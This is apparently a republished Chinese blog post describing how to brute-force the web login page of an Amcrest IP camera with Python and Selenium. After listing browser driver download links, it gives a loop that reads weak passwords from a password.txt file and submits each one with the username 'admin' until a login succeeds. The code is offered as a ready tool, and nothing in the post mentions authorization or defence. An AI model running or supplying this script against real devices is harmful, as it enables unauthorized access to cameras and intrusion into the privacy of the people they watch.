python+selenium模拟网页登录摄像头web页面,实现弱口令爆破 | 您所在的位置:网站首页 › git网页版 弱口令 › python+selenium模拟网页登录摄像头web页面,实现弱口令爆破 |
使用python+selenium模拟网页登录操作,从而实现爆破登录
前言一、使用场景二、使用步骤1.引入库2.创建浏览器对象3. 利用password.txt中的弱口令逐条尝试
三、实现效果
前言
这是我第一次在CSDN中写下文章,对于文章本身,只是用于记录我在日常学习中的点点滴滴,非常开心能与大家分享。 一、使用场景我模拟登录的是一款Amcrest的摄像的web登录界面,界面很简单,只有两个输入框,分别是用户名和密码。 这里的url是摄像头的IP地址,使用webdriver来启动浏览器,此处我使用的是chrome浏览器,也可以使用Edge、Firefox、IE,只需修改webdriver.后面的名称。根据自己浏览器的版本来下载驱动 chromedriver 下载地址:https://code.google.com/p/chromedriver/downloads/list2.Firefox的驱动geckodriver 下载地址:https://github.com/mozilla/geckodriver/releases/IE的驱动IEdriver 下载地址:http://www.nuget.org/packages/Selenium.WebDriver.IEDriver/Edge的驱动Edge Driver下载地址: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ 3. 利用password.txt中的弱口令逐条尝试 f = open(r'password.txt') for i in f.readlines(): input_account = window.find_element_by_id('login_user') input_account.send_keys('admin') input_password = window.find_element_by_id('login_psw') i = i.strip('\n') input_password.send_keys(i) login_button = window.find_element_by_id('b_login') login_button.click() print(i) time.sleep(0.1) if(window.find_element_by_class_name('u-mask')): window.refresh()这里是根据id来对用户名框、密码框进行定位的。最后选中Login实现登录 三、实现效果
|
CopyRight 2018-2019 实验室设备网 版权所有 |